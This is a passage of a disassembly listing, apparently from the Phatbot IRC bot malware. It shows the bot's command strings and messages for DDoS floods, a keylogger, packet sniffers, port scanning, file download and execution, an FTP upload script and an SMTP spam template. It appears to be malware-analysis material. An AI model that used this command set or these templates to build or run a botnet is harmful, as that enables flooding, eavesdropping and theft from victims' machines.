from: %s.',0 align 10h ; char aSS_exe[] aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E3o align 4 dword_42A6CC dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+6981o dd 7325203Ah, 0 unk_42A6E8 db 2Dh ; - ; DATA XREF: sub_401ACD+6976o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 ; char asc_42A70C[] asc_42A70C db '-' ; DATA XREF: sub_401ACD+68DCo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 ; char asc_42A748[] asc_42A748 db '-' ; DATA XREF: sub_401ACD+6866o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 dword_42A778 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Co ; sub_401ACD:loc_409367o ; char asc_42A784[] asc_42A784 db '-' ; DATA XREF: sub_401ACD+678Ao db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_42A7A8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408235o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 10h unk_42A7E0 db 2Dh ; - ; DATA XREF: sub_401ACD+675Eo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 4 ; char asc_42A818[] asc_42A818 db '-' ; DATA XREF: sub_401ACD+66EEo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A844 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Bo aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 10h ; char asc_42A880[] asc_42A880 db '-' ; DATA XREF: sub_401ACD+65FCo db 3, 34h, 2 dd 6E6F6C63h, 3027365h aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 10h unk_42A8B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6583o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 4 ; char asc_42A8E8[] asc_42A8E8 db '-' ; DATA XREF: sub_401ACD+6514o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A918 db 2Dh ; - ; DATA XREF: sub_401ACD+648Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 10h ; char asc_42A950[] asc_42A950 db '-' ; DATA XREF: sub_401ACD+641Bo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A980 db 2Dh ; - ; DATA XREF: sub_401ACD+63A2o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 4 ; char asc_42A9B8[] asc_42A9B8 db '-' ; DATA XREF: sub_401ACD+6333o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A9F4 db 2Dh ; - ; DATA XREF: sub_401ACD+62BAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 ; char asc_42AA34[] asc_42AA34 db '-' ; DATA XREF: sub_401ACD+624Bo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42AA60 db 2Dh ; - ; DATA XREF: sub_401ACD+617Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 ; char asc_42AAA4[] asc_42AAA4 db '-' ; DATA XREF: sub_401ACD+610Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 ; char asc_42AAE0[] asc_42AAE0 db '-' ; DATA XREF: sub_401ACD+6010o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 ; char aSSS_0[] aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F64o align 4 aSSS db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E87o align 4 ; char dword_42AB3C dword_42AB3C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF3o ; sub_401ACD+715Bo unk_42AB48 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 ; char asc_42AB84[] asc_42AB84 db '-' ; DATA XREF: sub_401ACD+5D20o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42ABD4 db 2Dh ; - ; DATA XREF: sub_401ACD+5C89o ; sub_401ACD+607Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 4 ; char asc_42AC0C[] asc_42AC0C db '-' ; DATA XREF: sub_401ACD+5C1Ao db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_42AC74 db 2Dh ; - ; DATA XREF: sub_401ACD+5AA4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 4 unk_42ACA8 db 2Dh ; - ; DATA XREF: sub_401ACD+5A47o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 4 ; char asc_42ACDC[] asc_42ACDC db '-' ; DATA XREF: sub_401ACD:loc_4073F4o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42AD0C db 2Dh ; - ; DATA XREF: sub_401ACD+5920o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5907o ; char aSS_2[] aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58F0o align 4 ; char aOpenSSSSPutSBy[] aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CDo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 ; char Mode[] Mode db 'ab',0 ; DATA XREF: sub_401ACD+58A9o ; sub_411C14+4Eo align 4 ; char aSIII_dll[] aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5898o align 4 unk_42AD7C db 2Dh ; - ; DATA XREF: sub_401ACD+584Eo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 ; char aUpload[] aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Bo align 4 ; char asc_42ADA4[] asc_42ADA4 db '-' ; DATA XREF: sub_401ACD+57F5o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 ; char asc_42ADE4[] asc_42ADE4 db '-' ; DATA XREF: sub_401ACD+5798o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char asc_42AE1C[] asc_42AE1C db '-' ; DATA XREF: sub_401ACD+572Do db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42AE64 db 2Dh ; - ; DATA XREF: sub_401ACD+567Co db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 4 ; char asc_42AE98[] asc_42AE98 db '-' ; DATA XREF: sub_401ACD+5648o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42AECC db 2Dh ; - ; DATA XREF: sub_401ACD+5624o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 ; char asc_42AF04[] asc_42AF04 db '-' ; DATA XREF: sub_401ACD+5582o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 ; char aIcmp_dllNotAva[] aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5565o align 4 unk_42AF58 db 2Dh ; - ; DATA XREF: sub_401ACD+5550o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 10h ; char asc_42AF90[] asc_42AF90 db '-' ; DATA XREF: sub_401ACD+54E1o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 ; char asc_42AFD8[] asc_42AFD8 db '-' ; DATA XREF: sub_401ACD:loc_406F00o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 10h unk_42B010 db 2Dh ; - ; DATA XREF: sub_401ACD+5429o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char asc_42B048[] asc_42B048 db '-' ; DATA XREF: sub_401ACD+53AFo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Fo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5398o unk_42B08C db 2Dh ; - ; DATA XREF: sub_401ACD+52FDo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 4 ; char aRandom_0[] aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52EDo ; sub_413E36+312o align 10h ; char aAck[] aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D6o ; sub_413E36+2F2o ; char aHcon[] aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+5260o align 4 ; char aHttpcon[] aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Do ; char asc_42B0D4[] asc_42B0D4 db '-' ; DATA XREF: sub_401ACD+51FEo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 4 ; char aHeloRndnickMai[] aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+518Ao db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 ; char aEmail[] aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Fo align 4 ; char aTcp[] aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5088o ; char aTcpflood[] aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5071o align 4 ; char aP[] aP: ; DATA XREF: sub_401ACD+505Ao ; .data:00438308o ... unicode 0, <p>,0 ; char aPing_0[] aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5043o align 4 ; char aPingflood[] aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Co align 4 ; char aNs[] aNs db 'ns',0 ; DATA XREF: sub_401ACD+5015o align 4 ; char aNetsend[] aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFEo ; char aU[] aU: ; DATA XREF: sub_401ACD+4FE7o ; .data:00438300o ... unicode 0, <u>,0 ; char aUdp[] aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FD0o ; char aUdpflood[] aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB9o align 4 ; char aAdv[] aAdv db 'adv',0 ; DATA XREF: sub_401ACD+4FA2o ; char aAdvscan[] aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Bo ; char aPsc[] aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F74o ; char aPortscan[] aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Do align 10h ; char aC_a[] aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F37o ; char aC_action[] aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F20o align 10h ; char aC_pm[] aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F09o align 4 ; char aC_privmsg[] aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF2o align 4 ; char aSc[] aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDBo align 4 ; char aScan_0[] aScan_0 db 'scan',0 ; DATA XREF: sub_401ACD+4EC4o align 10h ; char aRd[] aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EADo align 4 ; char aRedirect[] aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E96o align 10h ; char aJpl10[] aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Fo align 4 ; char aJpldg10[] aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E68o ; char aWonk[] aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E51o align 4 ; char aPhatwonk[] aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E3Ao align 4 dword_42B214 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Do aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 10h ; char asc_42B250[] asc_42B250 db '-' ; DATA XREF: sub_401ACD+4DBEo db 3, 34h, 2 dd 73796B73h, 3026E79h aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 ; char aSkysyn[] aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Bo align 4 ; char aSyn[] aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D24o ; sub_401ACD+52BEo ... ; char aSynflood[] aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Do align 4 unk_42B298 db 2Dh ; - ; DATA XREF: sub_401ACD+4D00o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char aWisdom_udp[] aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C29o align 4 ; char aDdos_random[] aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C12o ; sub_412B09:loc_412C35o ; char aDdos_ack[] aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFBo ; sub_412B09:loc_412C19o align 4 ; char aDdos_syn[] aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE4o ; sub_412B09+F1o align 4 ; char aC_0[] aC_0: ; DATA XREF: sub_401ACD+4BCDo ; .data:00438338o ... unicode 0, <c>,0 ; char aClone_0[] aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB6o align 4 ; char aIcmp[] aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Do align 4 ; char aIcmpflood[] aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B76o align 4 ; char aMv[] aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Fo align 4 ; char aRename[] aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B48o align 4 ; char aFf[] aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B31o align 4 ; char aFindfile[] aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B1Ao align 4 ; char aE[] aE: ; DATA XREF: sub_401ACD+4B03o ; .data:004382F0o ... unicode 0, <e>,0 ; char aExecute[] aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AECo ; char aJp10[] aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD5o align 4 ; char aJpDe10[] aJpDe10 db 'jp]de10',0 ; DATA XREF: sub_401ACD+4ABEo ; char aDe[] aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA7o align 4 ; char aDelay[] aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A90o align 4 ; char aRp[] aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A79o align 10h ; char aRepeat[] aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A62o ; sub_401ACD+6BE8o align 4 ; char aTsn[] aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Bo ; char aTsunami[] aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A34o ; char aT3[] aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Do align 4 ; char aTarga3[] aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A06o align 10h ; char aC_p[] aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EFo ; char aC_part[] aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D8o align 4 ; char aC_j[] aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C1o ; char aC_join[] aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49AAo align 4 ; char aC_n[] aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4993o ; char aC_nick[] aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Co align 4 ; char aC_m[] aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4965o ; char aC_mode[] aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Eo align 10h ; char aC_r[] aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4937o ; char aC_raw[] aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+4920o align 4 ; char aM_0[] aM_0: ; DATA XREF: sub_401ACD+4909o ; .data:00438348o ... unicode 0, <m>,0 ; char aCy[] aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DBo align 4 ; char aCycle[] aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C4o align 4 ; char aA[] aA: ; DATA XREF: sub_401ACD+48ADo ; .data:0043830Co unicode 0, <a>,0 ; char aAction[] aAction db 'action',0 ; DATA XREF: sub_401ACD+4896o align 4 ; char aPrivmsg_0[] aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4868o ; char aAa[] aAa db 'aa',0 ; DATA XREF: sub_401ACD+4851o align 4 ; char aAddalias[] aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+483Ao align 10h ; char aKl[] aKl db 'kl',0 ; DATA XREF: sub_401ACD+4823o align 4 ; char aKilllog[] aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Co ; char aGh[] aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E3o align 10h ; char aGethost[] aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CEo ; char aCap[] aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B9o ; char aCapture[] aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A4o unk_42B424 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406266o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42B440 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Co db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 ; char aSend_0[] aSend_0 db 'send',0 ; DATA XREF: sub_401ACD+475Fo ; sub_409B13+5F0o align 4 unk_42B46C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Fo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42B48C db 2Dh ; - ; DATA XREF: sub_401ACD+4748o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42B4AC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406194o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42B4CC db 2Dh ; - ; DATA XREF: sub_401ACD+46BDo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h ; char aShare[] aShare db 'share',0 ; DATA XREF: sub_401ACD+466Fo align 4 ; char aContinue[] aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Bo align 4 ; char aPause[] aPause db 'pause',0 ; DATA XREF: sub_401ACD+4611o align 4 ; char aStop[] aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F7o align 4 unk_42B514 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42B534 db 2Dh ; - ; DATA XREF: sub_401ACD+45E0o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 ; char aStart[] aStart db 'start',0 ; DATA XREF: sub_401ACD+45AAo align 10h unk_42B560 db 2Dh ; - ; DATA XREF: sub_401ACD+4578o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 ; char aNet[] aNet db 'net',0 ; DATA XREF: sub_401ACD+4554o dword_42B59C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4549o aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 ; char asc_42B5D8[] asc_42B5D8 db '-' ; DATA XREF: sub_401ACD+44DAo db 3, 34h, 2 dd 6C79656Bh, 302676Fh aKeyLoggerActiv db '- Key logger active.',0 align 4 dword_42B5FC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4458o aAlreadyRunning db '- Already running.',0 align 4 dword_42B61C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Fo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42B648 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4438o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 ; char aFile[] aFile db 'file',0 ; DATA XREF: sub_401ACD+43F9o align 4 ; char aKeylog[] aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D7o align 4 dword_42B694 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E99o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42B6B4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C2o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42B6EC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4392o aFailedToSta_16 db '- Failed to start server, error: <%d>.',0 align 10h ; char asc_42B720[] asc_42B720 db '-' ; DATA XREF: sub_401ACD+4345o db 3, 34h, 2 dd 6E656469h, 3026474h aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B74C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4335o aAlreadyRunni_0 db '- Already running.',0 align 4 ; char aIdent[] aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4302o align 4 unk_42B774 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC4o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_42B7A4 db 2Dh ; - ; DATA XREF: sub_401ACD+42EDo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42B7E4 db 2Dh ; - ; DATA XREF: sub_401ACD+42BDo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 ; char asc_42B820[] asc_42B820 db '-' ; DATA XREF: sub_401ACD+424Eo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 10h unk_42B850 db 2Dh ; - ; DATA XREF: sub_401ACD+41E7o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 ; char aSniffer[] aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41B0o dword_42B878 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C72o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B8A4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Bo aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B8E0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Bo aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 ; char asc_42B91C[] asc_42B91C db '-' ; DATA XREF: sub_401ACD+40FCo db 3, 34h, 2 dd 696E7370h, 3026666h aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B94C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4095o aAlreadyRunni_2 db '- Already running.',0 align 4 ; char aOn[] aOn db 'on',0 ; DATA XREF: sub_401ACD+4075o ; sub_401ACD+41C7o ... align 10h ; char aPsniff[] aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Eo align 4 ; char aRf[] aRf db 'rf',0 ; DATA XREF: sub_401ACD+4049o align 4 ; char aReadfile[] aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4034o align 4 ; char aCm[] aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Fo align 4 ; char aCmd[] aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+400Ao ; char aMirc[] aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF5o align 4 ; char aMirccmd[] aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FE0o ; char aV[] aV: ; DATA XREF: sub_401ACD+3FCBo ; .data:0043833Co ... unicode 0, <v>,0 ; char aVisit[] aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB6o align 4 ; char aLi[] aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA1o align 10h ; char aList[] aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Co align 4 ; char aGt[] aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F77o align 4 ; char aDel[] aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Do ; char aDelete[] aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F38o ; sub_401ACD+4645o align 4 ; char aKi[] aKi db 'ki',0 ; 